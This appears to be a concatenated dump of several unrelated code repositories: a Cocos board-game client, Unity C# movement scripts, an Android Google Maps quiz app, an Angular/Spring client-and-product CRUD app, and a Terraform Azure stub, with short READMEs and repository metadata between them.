starx.request("roomMgr.Login", "login", function (roleInfo) {
window.roleInfo = roleInfo
let roleNode2 = cc.find("Canvas/room/role2");
// 显示自身信息
cc.loader.load({ url: roleInfo.icon, type: 'jpg' }, function (err, tex) {
if (err) {
notice( '加载头像失败')
return;
}
let txNode2 = cc.find("txMask/tx", roleNode2);
let spf = new cc.SpriteFrame(tex);
txNode2.getComponent(cc.Sprite).spriteFrame = spf
});
roleNode2.getChildByName("name").getComponent(cc.Label).string = roleInfo.name;
roleNode2.getChildByName("level").getComponent(cc.Label).string = roleInfo.level+"段棋手";
roleNode2.getChildByName("gold").getComponent(cc.Label).string = "金币:"+roleInfo.gold;
starx.request("roomMgr.StartMatch", "starmatch", function (msg) {
notice("开始匹配")
})
});
})
},
// 房间信息
onRoomInfo(msg) {
if (status != 0) {
return
}
qp.draw(msg.pointmap)
let role1, role2;
// 一号玩家
if (roleInfo.id == msg.fplayer.id) {
window.roleFlag = 1
role1 = msg.splayer
role2 = msg.fplayer
} else if (roleInfo.id == msg.splayer.id) { // 二号玩家
window.roleFlag = 2
role1 = msg.fplayer
role2 = msg.splayer
} else {
window.roleFlag = 0
}
let roleNode1 = cc.find("Canvas/room/role1");
let roleNode2 = cc.find("Canvas/room/role2");
// 显示玩家信息
cc.loader.load({ url: role2.icon, type: 'jpg' }, function (err, tex) {
if (err) {
notice( '加载头像失败')
return;
}
let txNode2 = cc.find("txMask/tx", roleNode2);
let spf = new cc.SpriteFrame(tex);
txNode2.getComponent(cc.Sprite).spriteFrame = spf
});
roleNode2.getChildByName("name").getComponent(cc.Label).string = role2.name;
roleNode2.getChildByName("level").getComponent(cc.Label).string = role2.level+"段棋手";
roleNode2.getChildByName("gold").getComponent(cc.Label).string = "金币:"+role2.gold;
cc.loader.load({ url: role1.icon, type: 'jpg' }, function (err, tex) {
if (err) {
notice( '加载头像失败')
return;
}
let spf = new cc.SpriteFrame(tex);
let txNode1 = cc.find("txMask/tx", roleNode1);
txNode1.getComponent(cc.Sprite).spriteFrame = spf;
});
roleNode1.getChildByName("name").getComponent(cc.Label).string = role1.name;
roleNode1.getChildByName("level").getComponent(cc.Label).string = role1.level+"段棋手";
roleNode1.getChildByName("gold").getComponent(cc.Label).string = "金币:"+role1.gold;
status = msg.status
window.roomInfo = msg
starx.request("roomHandlers.Ready", "")
},
// 提示信息
onNotice(msg) {
notice(msg.content)
},
//改变状态
onStatus(msg) {
if(msg > 10 && msg % 10 == 3){
cc.audioEngine.play(qp.csAudio, false, 1)
}
status = Number(msg)
},
//回合步骤
onStep(msg) {
switch (msg.type) {
case 1:
let node = pointMap[`${msg.src.x}_${msg.src.y}`];
if (msg.player == roomInfo.fplayer.id) {
node.getComponent(cc.Sprite).spriteFrame = qp.c1;
node.v = 1
} else if (msg.player == roomInfo.splayer.id) {
node.getComponent(cc.Sprite).spriteFrame = qp.c2;
node.v = 2
}
node.opacity = 250
break;
case 2:
let src = pointMap[`${msg.src.x}_${msg.src.y}`]
let dst = pointMap[`${msg.dst.x}_${msg.dst.y}`]
dst.v = src.v
dst.getComponent(cc.Sprite).spriteFrame = src.getComponent(cc.Sprite).spriteFrame;
src.opacity = 0
src.v = 0
dst.opacity = 250
break;
case 3:
let n = pointMap[`${msg.src.x}_${msg.src.y}`]
n.v = 3
n.opacity = 0
break;
}
},
// 结算
onSettle(msg) {
switch (Number(msg.winner)) {
case 1:
notice("一号玩家胜利")
break
case 2:
notice("二号玩家胜利")
break
}
status = 0
qp.reset()
},
// 提示
notice(msg, icon, dura){
if(!!window.wx){
wx.showToast({
title: msg,
icon: icon || 'none',
duration: dura || 2000
})
}else{
alert(msg)
}
},
// update (dt) {},
});
|
422fed3215b419bb81988282d8cb708425d285c1
|
[
"Markdown",
"JavaScript"
] | 2 |
Markdown
|
JiaWeiBi/three_client
|
8c7e715e087ff4cc79999a399267eb417c6d2474
|
a2a1c77b43a319b6d20a551e6d2cd3a146578aa8
|
refs/heads/master
|
<file_sep>using UnityEngine;
using System.Collections;
public class Player : MonoBehaviour
{
//Physics Data
protected float friction;
protected float speed;
protected Rigidbody physicsBody;
// Use this for initialization
public void Start()
{
physicsBody = GetComponent<Rigidbody>();
friction = 0.5f;
speed = 300f;
}
// Update is called once per frame
public void Update()
{
}
public void FixedUpdate()
{
//Apply Friction
physicsBody.velocity = new Vector3(physicsBody.velocity.x * friction, physicsBody.velocity.y, physicsBody.velocity.z * friction);
//Do the player Movement
DoMovement (speed);
//Temp Test for knockback
if (Input.GetKeyDown (KeyCode.Space) == true)
{
physicsBody.velocity += new Vector3(200, 0, 0);
Debug.Log("Knocked Back");
}
}
public void DoMovement(float _speed)
{
float dt = Time.deltaTime;
Vector3 currentVel = physicsBody.velocity;
float horizontal = Input.GetAxis ("Horizontal");
float vertical = Input.GetAxis ("Vertical");
if (vertical > 0 == true && currentVel.z < speed)
{
physicsBody.velocity += Vector3.forward * _speed * dt;
//Debug.Log("UP");
}
if (vertical < 0 && currentVel.z > -speed)
{
physicsBody.velocity += Vector3.back * _speed * dt;
//Debug.Log("DOWN");
}
if (horizontal < 0 && currentVel.x > -speed)
{
physicsBody.velocity += Vector3.left * _speed * dt;
//Debug.Log("LEFT");
}
if (horizontal > 0 && currentVel.x < speed)
{
physicsBody.velocity += Vector3.right * _speed * dt;
//Debug.Log("RIGHT");
}
}
}
<file_sep>using UnityEngine;
using System.Collections;
public class Santa : Player {
// Use this for initialization
public void Start() {
//Call Parents Constructor
base.Start ();
speed = 80f;
}
void FixedUpdate() {
base.FixedUpdate ();
}
}
|
ea1932cfd7d5c3a266e0ca4170a7d139bd34147b
|
[
"C#"
] | 2 |
C#
|
Milswanca/Holiday-Souls
|
2a67f2c10619bf87779d719443c9fab2e062d5e1
|
1694d95f9e5c86bf742733cb0f41c2043a8cc35e
|
refs/heads/master
|
<file_sep># ITB Map
## Deskripsi
Aplikasi ini adalah aplikasi yang dapat menampilkan peta, mengirim dan menerima request dari dan ke server untuk mendapatkan longitude dan latitude suatu lokasi dan menampilkannya kepada peta.
## Cara Penggunaan
### Tampilan Awal
#### Portrait

#### Landscape

### Menjawab
### Pilihan Jawaban

#### Jika Salah

#### Jika Selesai

## File Location
### bin
\app\build\outputs\apk
### src
\app\src\main\java\ga\wiwit\itbmap
### res
\app\src\main\res<file_sep>package ga.wiwit.itbmap;
import android.content.Context;
import android.content.Intent;
import android.hardware.Sensor;
import android.hardware.SensorEvent;
import android.hardware.SensorEventListener;
import android.hardware.SensorListener;
import android.hardware.SensorManager;
import android.media.Image;
import android.provider.MediaStore;
import android.support.v4.app.FragmentActivity;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.Display;
import android.view.View;
import android.view.WindowManager;
import android.view.animation.Animation;
import android.view.animation.RotateAnimation;
import android.widget.ImageView;
import android.widget.Toast;
import com.google.android.gms.maps.CameraUpdateFactory;
import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.OnMapReadyCallback;
import com.google.android.gms.maps.SupportMapFragment;
import com.google.android.gms.maps.model.LatLng;
import com.google.android.gms.maps.model.MarkerOptions;
import org.json.JSONException;
import org.json.JSONObject;
public class MapsActivity extends AppCompatActivity
implements OnMapReadyCallback, SensorEventListener, callerAsync {
private GoogleMap mMap;
private SensorManager sensorManager;
private Sensor accelerometer;
private Sensor magnetometer;
private float[] resultAccelerometer = new float[3];
private float[] resultMagnetometer = new float[3];
private boolean issetAccelerometer = false;
private boolean issetMagnetometer = false;
private float currentDegree = 0f;
private ImageView compass;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_maps);
// Obtain the SupportMapFragment and get notified when the map is ready to be used.
SupportMapFragment mapFragment = (SupportMapFragment) getSupportFragmentManager()
.findFragmentById(R.id.map);
mapFragment.getMapAsync(this);
sensorManager = (SensorManager) getSystemService(SENSOR_SERVICE);
accelerometer = sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
magnetometer = sensorManager.getDefaultSensor(Sensor.TYPE_MAGNETIC_FIELD);
compass = (ImageView)findViewById(R.id.compass_arrow);
}
@Override
protected void onResume() {
super.onResume();
sensorManager.registerListener(this, accelerometer, SensorManager.SENSOR_DELAY_GAME);
sensorManager.registerListener(this, magnetometer, SensorManager.SENSOR_DELAY_GAME);
}
@Override
protected void onPause() {
super.onPause();
sensorManager.unregisterListener(this, accelerometer);
sensorManager.unregisterListener(this, magnetometer);
}
/**
* Called when sensor values have changed.
* <p>See {@link SensorManager SensorManager}
* for details on possible sensor types.
* <p>See also {@link SensorEvent SensorEvent}.
* <p/>
* <p><b>NOTE:</b> The application doesn't own the
* {@link SensorEvent event}
* object passed as a parameter and therefore cannot hold on to it.
* The object may be part of an internal pool and may be reused by
* the framework.
*
* @param event the {@link SensorEvent SensorEvent}.
*/
@Override
public void onSensorChanged(SensorEvent event) {
if(event.sensor.getType() == accelerometer.getType()) {
System.arraycopy(event.values, 0, resultAccelerometer, 0, event.values.length);
issetAccelerometer = true;
}
else {
System.arraycopy(event.values, 0, resultMagnetometer, 0, event.values.length);
issetMagnetometer = true;
}
if(issetAccelerometer && issetMagnetometer) {
float[] tempR = new float[9];
SensorManager.getRotationMatrix(tempR, null, resultAccelerometer, resultMagnetometer);
float[] orientation = new float[3];
SensorManager.getOrientation(tempR, orientation);
float azimuthRad = orientation[0];
float azimuthDeg = (float)(Math.toDegrees(azimuthRad)+360)%360;
Display display = ((WindowManager) getSystemService(Context.WINDOW_SERVICE)).getDefaultDisplay();
int orientDisplay = display.getRotation();
if(orientDisplay == 1) {
azimuthDeg += 90;
} else if(orientDisplay == 3) {
azimuthDeg -= 90;
} else {
}
RotateAnimation anim = new RotateAnimation(
currentDegree,
-azimuthDeg,
Animation.RELATIVE_TO_SELF, 0.5f,
Animation.RELATIVE_TO_SELF, 0.5f);
anim.setDuration(250);
anim.setFillAfter(true);
compass.startAnimation(anim);
currentDegree = -azimuthDeg;
}
}
/**
* Called when the accuracy of the registered sensor has changed.
* <p/>
* <p>See the SENSOR_STATUS_* constants in
* {@link SensorManager SensorManager} for details.
*
* @param sensor
* @param accuracy The new accuracy of this sensor, one of
* {@code SensorManager.SENSOR_STATUS_*}
*/
@Override
public void onAccuracyChanged(Sensor sensor, int accuracy) {
}
/**
* Manipulates the map once available.
* This callback is triggered when the map is ready to be used.
* This is where we can add markers or lines, add listeners or move the camera. In this case,
* we just add a marker near Sydney, Australia.
* If Google Play services is not installed on the device, the user will be prompted to install
* it inside the SupportMapFragment. This method will only be triggered once the user has
* installed Google Play services and returned to the app.
*/
@Override
public void onMapReady(GoogleMap googleMap) {
mMap = googleMap;
LatLng itb = new LatLng(Communicator.getLatitude(), Communicator.getLongitude());
mMap.addMarker(new MarkerOptions().position(itb).title("Find this location!"));
mMap.moveCamera(CameraUpdateFactory.newLatLngZoom(itb, 17));
}
public void goCamera(View view) {
final int REQUEST_IMAGE_PICTURE = 1;
Intent intent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
if(intent.resolveActivity(getPackageManager()) != null)
startActivityForResult(intent, REQUEST_IMAGE_PICTURE);
}
public void goAnswer(View view) {
Intent intent = new Intent(this, AnswerActivity.class);
if(intent.resolveActivity(getPackageManager()) != null)
startActivity(intent);
}
@Override
public void processJSON(JSONObject obj) throws JSONException {
Toast.makeText(this, obj.toString(), Toast.LENGTH_LONG).show();
double lat = (double)obj.get("latitude");
double lng = (double)obj.get("longitude");
LatLng pos = new LatLng(lat, lng);
mMap.addMarker(new MarkerOptions().position(pos).title("Find this location!"));
mMap.moveCamera(CameraUpdateFactory.newLatLngZoom(pos, 17));
}
}<file_sep>package ga.wiwit.itbmap;
import android.os.AsyncTask;
import android.util.Log;
import android.widget.Toast;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.Socket;
import java.net.UnknownHostException;
/**
* Created by asus on 27/03/2016.
*/
public interface callerAsync{
void processJSON(JSONObject obj) throws JSONException;
}
<file_sep>package ga.wiwit.itbmap;
import android.app.AlertDialog;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.res.Resources;
import android.os.Bundle;
import android.provider.Settings;
import android.support.design.widget.FloatingActionButton;
import android.support.design.widget.Snackbar;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.util.Log;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Spinner;
import android.widget.Toast;
import org.json.JSONException;
import org.json.JSONObject;
import java.util.ArrayList;
public class AnswerActivity extends AppCompatActivity
implements AdapterView.OnItemSelectedListener, callerAsync {
private int selectedPos = 0;
private String[] location_codes = null;
final String TAG = AnswerActivity.class.getSimpleName();
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_answer);
Spinner spinner = (Spinner)findViewById(R.id.spinner);
ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(this, R.array.locations, android.R.layout.simple_spinner_item);
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
spinner.setAdapter(adapter);
spinner.setOnItemSelectedListener(this);
Resources res = getResources();
location_codes = res.getStringArray(R.array.location_codes);
}
/**
* <p>Callback method to be invoked when an item in this view has been
* selected. This callback is invoked only when the newly selected
* position is different from the previously selected position or if
* there was no selected item.</p>
* <p/>
* Impelmenters can call getItemAtPosition(position) if they need to access the
* data associated with the selected item.
*
* @param parent The AdapterView where the selection happened
* @param view The view within the AdapterView that was clicked
* @param position The position of the view in the adapter
* @param id The row id of the item that is selected
*/
@Override
public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
selectedPos = position;
}
/**
* Callback method to be invoked when the selection disappears from this
* view. The selection can disappear for instance when touch is activated
* or when the adapter becomes empty.m
*
* @param parent The AdapterView that now contains no selected item.
*/
@Override
public void onNothingSelected(AdapterView<?> parent) {
}
public void submit(View view) {
Communicator comm = new Communicator((callerAsync)this);
comm.answer(location_codes[selectedPos]);
}
@Override
public void processJSON(JSONObject response) throws JSONException {
Toast.makeText(this, response.toString(), Toast.LENGTH_LONG).show();
String status = (String) response.get("status");
Log.d(TAG, "STATUS " + status);
if(status.equals("ok")) {
double longitude = (double) response.get("longitude");
double latitude = (double) response.get("latitude");
String token = (String) response.get("token");
final Intent intent = new Intent(this, MapsActivity.class);
intent.putExtra("longitude", longitude);
intent.putExtra("latitude", latitude);
intent.putExtra("token", token);
new AlertDialog.Builder(AnswerActivity.this)
.setTitle("Congratulation!")
.setMessage("Your answer is correct")
.setPositiveButton(android.R.string.yes, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int which) {
// continue with delete
startActivity(intent);
}
})
.setNegativeButton(android.R.string.no, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int which) {
// do nothing
startActivity(intent);
}
})
.setIcon(android.R.drawable.ic_dialog_alert)
.show();
} else if (status.equals("wrong_answer")) {
final Intent intent = new Intent(this, MapsActivity.class);
intent.putExtra("longitude", Communicator.getLongitude());
intent.putExtra("latitude", Communicator.getLatitude());
intent.putExtra("token", Communicator.getToken());
new AlertDialog.Builder(AnswerActivity.this)
.setTitle("Sorry")
.setMessage("Your answer is wrong.")
.setPositiveButton(android.R.string.yes, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int which) {
// continue with delete
startActivity(intent);
}
})
.setNegativeButton(android.R.string.no, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int which) {
// do nothing
startActivity(intent);
}
})
.setIcon(android.R.drawable.ic_dialog_alert)
.show();
} else if(status.equals("finish")) {
new AlertDialog.Builder(AnswerActivity.this)
.setTitle("Finished!")
.setMessage("You've been finished.")
.setPositiveButton(android.R.string.yes, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int which) {
// continue with delete
}
})
.setNegativeButton(android.R.string.no, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int which) {
// do nothing
}
})
.setIcon(android.R.drawable.ic_dialog_alert)
.show();
}
}
}
|
fa6192f98c67a7661ecccebf040a0f815af4fc51
|
[
"Java",
"Markdown"
] | 4 |
Java
|
wifai/IF3111-2016-Tugas1-Android
|
fb6617c501b33f0f816b7b740512cb5feaeaf14e
|
40f692a91e6506d14989de7ca35dec3325b72e67
|
refs/heads/main
|
<file_sep>import { Injectable } from '@angular/core';
import {AngularFirestore, AngularFirestoreCollection} from "@angular/fire/firestore";
import {from, Observable} from "rxjs";
import {map} from "rxjs/operators";
import {Produto} from "../model/produto";
@Injectable({
providedIn: 'root'
})
export class ProdutoFirestoreService {
// colecaoProdutos: AngularFirestoreCollection<Produto>;
// NOME_COLECAO = 'produtos';
//
// constructor(private afs: AngularFirestore) {
// this.colecaoProdutos = afs.collection(this.NOME_COLECAO);
// }
//
// listar(): Observable<Produto[]> {
// return this.colecaoProdutos.valueChanges({idField: 'id'});
// }
//
// inserir(produto: Produto): Observable<Produto> {
// delete produto.id;
// return from(this.colecaoProdutos.add(Object.assign({}, produto)));
// }
//
// remover(id: string): Observable<void> {
// return from(this.colecaoProdutos.doc(id).delete());
// }
//
// pesquisarPorId(id: string): Observable<Produto> {
// return this.colecaoProdutos.doc(id).get().pipe(map(document => new Produto(document.id, document.data())));
// }
//
// atualizar(produto: Produto): Observable<void> {
// delete produto.id;
// return from(this.colecaoProdutos.doc(produto.id).update(Object.assign({}, produto)));
// }
}
<file_sep>import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { CadastrarClienteComponent } from './cadastrar-cliente/cadastrar-cliente.component';
import { ListagemClienteComponent } from './listagem-cliente/listagem-cliente.component'
import {BrowserAnimationsModule} from '@angular/platform-browser/animations';
import {MatInputModule} from '@angular/material/input';
import {MatFormFieldModule} from '@angular/material/form-field';
import {RouterModule} from '@angular/router';
import {FormsModule} from '@angular/forms';
import {MatCardModule} from '@angular/material/card';
import {MatIconModule} from '@angular/material/icon';
import {MatButtonModule} from '@angular/material/button';
import {FlexLayoutModule} from '@angular/flex-layout';
import {FirestoreModule} from "../firestore/firestore.module";
import {PipesModule} from "../shared/pipes/pipes.module";
import {AppModule} from "../app.module";
@NgModule({
declarations: [CadastrarClienteComponent, ListagemClienteComponent],
exports: [
CadastrarClienteComponent,
ListagemClienteComponent
],
imports: [
BrowserAnimationsModule,
RouterModule,
CommonModule,
MatInputModule,
MatFormFieldModule,
FormsModule,
MatCardModule,
MatIconModule,
MatButtonModule,
FlexLayoutModule,
FirestoreModule,
PipesModule
]
})
export class ClienteModule { }
<file_sep>export class Cliente {
id?: number;
nome?: string;
cpf?: string;
endereco?: string;
telefone?: string;
constructor(id?: number, clientes: Cliente = {}) {
this.id = id;
this.nome = clientes.nome;
this.cpf = clientes.cpf;
this.endereco = clientes.endereco;
this.telefone = clientes.telefone;
}
}
<file_sep>export const FirebaseConfig = {
firebase: {
apiKey: '<KEY>',
authDomain: 'suite420-ifpb.firebaseapp.com',
databaseURL: 'https://suite420-ifpb.firebaseio.com',
projectId: 'suite420-ifpb',
storageBucket: 'suite420-ifpb.appspot.com',
messagingSenderId: '736538318799',
appId: '1:736538318799:web:6a4171de528108fba424ba',
measurementId: 'G-PWPT1FNXSH'
}
};
<file_sep>import { Component, OnInit } from '@angular/core';
import {Produto} from '../../shared/model/produto';
import {Router} from '@angular/router';
import {ProdutoService} from "../../shared/services/produto.service";
@Component({
selector: 'app-listagem-produto',
templateUrl: './listagem-produto.component.html',
styleUrls: ['./listagem-produto.component.scss']
})
export class ListagemProdutoComponent implements OnInit {
produtos: Array<Produto>;
constructor(private produtoService: ProdutoService, private roteador: Router) { }
ngOnInit(): void {
this.produtoService.listar().subscribe(
produtos => this.produtos = produtos
);
}
editar(produto: Produto): void {
this.roteador.navigate(['cadastrarproduto', produto.id]);
}
remover(produto: Produto): void {
this.produtoService.remover(produto.id).subscribe(
resposta => {
const indxProdutoARemover = this.produtos.findIndex(p => p.id === produto.id);
if (indxProdutoARemover > -1) {
this.produtos.splice(indxProdutoARemover, 1);
}
}
);
}
}
<file_sep>export class Produto {
id?: number;
nome?: string;
descricao?: string;
preco?: number;
imagem?: string;
constructor(id?: number, produtos: Produto = {}) {
this.id = id;
this.nome = produtos.nome;
this.descricao = produtos.descricao;
this.preco = produtos.preco;
this.imagem = produtos.imagem;
}
}
<file_sep>import { Injectable } from '@angular/core';
import {AngularFirestore, AngularFirestoreCollection} from "@angular/fire/firestore";
import {Cliente} from "../model/cliente";
import {from, Observable} from "rxjs";
import {map} from "rxjs/operators";
@Injectable({
providedIn: 'root'
})
export class ClienteFirestoreService {
// colecaoClientes: AngularFirestoreCollection<Cliente>;
// NOME_COLECAO = 'clientes';
//
// constructor(private afs: AngularFirestore) {
// this.colecaoClientes = afs.collection(this.NOME_COLECAO);
// }
//
// listar(): Observable<Cliente[]> {
// return this.colecaoClientes.valueChanges({idField: 'id'});
// }
//
// inserir(cliente: Cliente): Observable<Cliente> {
// delete cliente.id;
// return from(this.colecaoClientes.add(Object.assign({}, cliente)));
// }
//
// remover(id: string): Observable<void> {
// return from(this.colecaoClientes.doc(id).delete());
// }
//
// pesquisarPorId(id: string): Observable<Cliente> {
// return this.colecaoClientes.doc(id).get().pipe(map(document => new Cliente(document.id, document.data())));
// }
//
// atualizar(cliente: Cliente): Observable<void> {
// delete cliente.id;
// return from(this.colecaoClientes.doc(cliente.id).update(Object.assign({}, cliente)));
// }
//
// listarMaioresDeIdade(): Observable<Usuario[]> {
// let usuariosMaioresIdade: AngularFirestoreCollection<Usuario>;
// // fazendo pesquisas usando o where. Um where pode ser encadeado com outro
// usuariosMaioresIdade = this.afs.collection(this.NOME_COLECAO, ref => ref.where('idade', '>', '17'));
// return usuariosMaioresIdade.valueChanges();
// }
// }
}
<file_sep>.listar-produto {
margin-left: 10px;
min-width: 80em;
max-width: 100em;
}
.car-action{
max-height: 100px;
}
.mat-card{
background-color: black;
color: chartreuse;
}
.sub{
color: chartreuse;
}
<file_sep># p4-pweb-ifpb<file_sep>import { Component, OnInit } from '@angular/core';
import {Produto} from '../../shared/model/produto';
import {ActivatedRoute, Router} from '@angular/router';
import {MensagemService} from "../../shared/services/mensagem.service";
import {ProdutoService} from "../../shared/services/produto.service";
@Component({
selector: 'app-cadastrar-produto',
templateUrl: './cadastrar-produto.component.html',
styleUrls: ['./cadastrar-produto.component.scss']
})
export class CadastrarProdutoComponent implements OnInit {
produto: Produto;
operacaoCadastro = true;
constructor(private produtoService: ProdutoService, private rotaAtual: ActivatedRoute, private roteador: Router,
private mensagemService: MensagemService) {
this.produto = new Produto();
if(this.rotaAtual.snapshot.paramMap.has('id')){
this.operacaoCadastro = false;
const idEdit = Number(this.rotaAtual.snapshot.paramMap.get('id'));
this.produtoService.pesquisarId(idEdit).subscribe(
produtoRetornado => this.produto = produtoRetornado
);
}
}
ngOnInit(): void {
}
cadastrarProduto(): void {
if (this.produto.id) {
this.produtoService.atualizar(this.produto).subscribe(
produtoAlterado => {
this.mensagemService.success("Produto alterado com sucesso!")
this.roteador.navigate(['listagemproduto']);
}
);
} else {
this.produtoService.inserir(this.produto).subscribe(
produtoInserido => {
this.mensagemService.success("Produto inserido com sucesso!");
this.roteador.navigate(['listagemproduto']);
}
);
}
}
}
<file_sep>import { Pipe, PipeTransform } from '@angular/core';
@Pipe({
name: 'cpf'
})
export class CpfPipe implements PipeTransform {
transform(value: string): string {
if(value && value.length === 11){
return `${value.substr(0,3)}.${value.substr(3,3)}.${value.substr(6,3)}-${value.substr(9,2)}`
}
return value;
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import {Cliente} from '../../shared/model/cliente';
import {ActivatedRoute, Router} from '@angular/router';
import {MensagemService} from "../../shared/services/mensagem.service";
import {ClienteService} from "../../shared/services/cliente.service";
@Component({
selector: 'app-cadastrar-cliente',
templateUrl: './cadastrar-cliente.component.html',
styleUrls: ['./cadastrar-cliente.component.scss']
})
export class CadastrarClienteComponent implements OnInit {
cliente: Cliente;
operacaoCadastro = true;
constructor(private clienteService: ClienteService, private rotaAtual: ActivatedRoute, private roteador: Router,
private mensagemService: MensagemService) {
this.cliente = new Cliente();
if(this.rotaAtual.snapshot.paramMap.has('id')){
this.operacaoCadastro = false;
const idEdit = Number(this.rotaAtual.snapshot.paramMap.get('id'));
this.clienteService.pesquisarId(idEdit).subscribe(
clienteRetornado => this.cliente = clienteRetornado
);
}
}
ngOnInit(): void {
}
cadastrarCliente(): void {
if (this.cliente.id) {
this.clienteService.atualizar(this.cliente).subscribe(
clienteAlterado => {
this.mensagemService.success('Cliente alterado com sucesso!');
this.roteador.navigate(['listagemcliente']);
}
);
} else {
this.clienteService.inserir(this.cliente).subscribe(
clienteInserido => {
this.mensagemService.success('Cliente inserido com sucesso!');
this.roteador.navigate(['listagemcliente']);
}
);
}
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import {Cliente} from '../../shared/model/cliente';
import {Router} from '@angular/router';
import {ClienteService} from "../../shared/services/cliente.service";
@Component({
selector: 'app-listagem-cliente',
templateUrl: './listagem-cliente.component.html',
styleUrls: ['./listagem-cliente.component.scss']
})
export class ListagemClienteComponent implements OnInit {
clientes: Array<Cliente>;
constructor(private clienteService: ClienteService, private roteador: Router) { }
ngOnInit(): void {
this.clienteService.listar().subscribe(
clientes => this.clientes = clientes
);
}
editar(cliente: Cliente): void {
this.roteador.navigate(['cadastrarcliente', cliente.id]);
}
remover(cliente: Cliente): void {
this.clienteService.remover(cliente.id).subscribe(
resposta => {
const indxClienteARemover = this.clientes.findIndex(c => c.cpf === cliente.cpf);
if (indxClienteARemover > -1) {
this.clientes.splice(indxClienteARemover, 1);
}
}
);
}
}
<file_sep>import { NgModule } from '@angular/core';
import { Routes, RouterModule } from '@angular/router';
import {CadastrarClienteComponent} from './cliente/cadastrar-cliente/cadastrar-cliente.component';
import {ListagemClienteComponent} from './cliente/listagem-cliente/listagem-cliente.component';
import {ListagemProdutoComponent} from './produto/listagem-produto/listagem-produto.component';
import {CadastrarProdutoComponent} from './produto/cadastrar-produto/cadastrar-produto.component';
const routes: Routes = [
{
path: '',
component: ListagemClienteComponent
},
{
path: 'cadastrarcliente',
component: CadastrarClienteComponent
},
{
path: 'cadastrarcliente/:id',
component: CadastrarClienteComponent
},
{
path: 'listagemcliente',
component: ListagemClienteComponent
},
{
path: 'cadastrarproduto',
component: CadastrarProdutoComponent
},
{
path: 'cadastrarproduto/:id',
component: CadastrarProdutoComponent
},
{
path: 'listagemproduto',
component: ListagemProdutoComponent
}
];
@NgModule({
imports: [RouterModule.forRoot(routes)],
exports: [RouterModule]
})
export class AppRoutingModule { }
<file_sep>import { TestBed } from '@angular/core/testing';
import { ErroInterceptorService } from './erro-interceptor.service';
describe('ErroInterceptorService', () => {
let service: ErroInterceptorService;
beforeEach(() => {
TestBed.configureTestingModule({});
service = TestBed.inject(ErroInterceptorService);
});
it('should be created', () => {
expect(service).toBeTruthy();
});
});
<file_sep>package br.edu.ifpb.gugawag.social.service;
import br.edu.ifpb.gugawag.social.model.Cliente;
import br.edu.ifpb.gugawag.social.model.Produto;
import br.edu.ifpb.gugawag.social.repositories.ProdutoRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import javax.transaction.Transactional;
import java.util.List;
@Service
public class ProdutoService {
@Autowired
private ProdutoRepository produtoRepository;
public List<Produto> getProdutos() {
return this.produtoRepository.findAll();
}
public Produto getProdutoPorId(Long id) {
return this.produtoRepository.findById(id).orElse(null);
}
@Transactional
public Produto inserirouAtualizar(Produto produto) {
return this.produtoRepository.save(produto);
}
public void apagar(Long id){
this.produtoRepository.deleteById(id);
}
}
|
60093d8935caedbb62666c13df8fdd7e069c1de3
|
[
"SCSS",
"Markdown",
"TypeScript",
"Java"
] | 16 |
SCSS
|
diegofrazao/p4-pweb-ifpb
|
7fe93e855b3c5b46f1f1227c92ea0eb7ab4b7ad2
|
aba33f59b9ef3982f3237ae0ef42c4092639ac81
|
refs/heads/master
|
<file_sep># TheHtml
This is the HTML code of a web page for hiring medieval mercenary-warrior pigs.
|
89edcb4dc8aa3d1cdf21e75905a4c88604c2c099
|
[
"Markdown"
] | 1 |
Markdown
|
JohnDoe-sudo/TheHtml
|
90f277beabbf70b28cf17185866675a78d0cb937
|
67bd2d9607d3e7dad87bb1ffd499192b32a71a23
|
refs/heads/master
|
<file_sep>new file to tets
D
|
dda0267f474a6e2130d14d23da3ce5b89df2d134
|
[
"Text"
] | 1 |
Text
|
priyansh747/VisualStudio
|
a4f8021c1cd3843f4603285bfd14092b512acf86
|
bfaeb8df8bc17107b45a77844ca47e0cbc9da68f
|
refs/heads/master
|
<repo_name>tracedence/How-to-create-package-in-python<file_sep>/README.md
# How-to-create-package-in-python
How to create python package which can be installed
|
a97de42496e0e785dd1d790305f7ab43be9e67a4
|
[
"Markdown"
] | 1 |
Markdown
|
tracedence/How-to-create-package-in-python
|
33a5e2b998edb2493c9f2d2e6ed037efc5afbddc
|
791df93822dd5d4cc7ca51e5b764380bf0adc36c
|
refs/heads/master
|
<file_sep># datasciencecoursera
My first experience to create repository in project Data_Science_Courcera
|
8749315d8abde3b6f634416e005600f8b750f72e
|
[
"Markdown"
] | 1 |
Markdown
|
formessage07/datasciencecoursera
|
1aedbbb8ba31a8c1e38c4e021975fb240b795831
|
df7e6226d8d2e76c56698cb1005cc8b453f4786b
|
refs/heads/master
|
<file_sep>
provider "azurerm" {
# Whilst version is optional, we /strongly recommend/ using it to pin the version of the Provider being used
version = "=1.28.0"
#prodsubcription
subscription_id = "xxxxxxx"
}
# Create a resource group
resource "azurerm_resource_group" "PROD" {
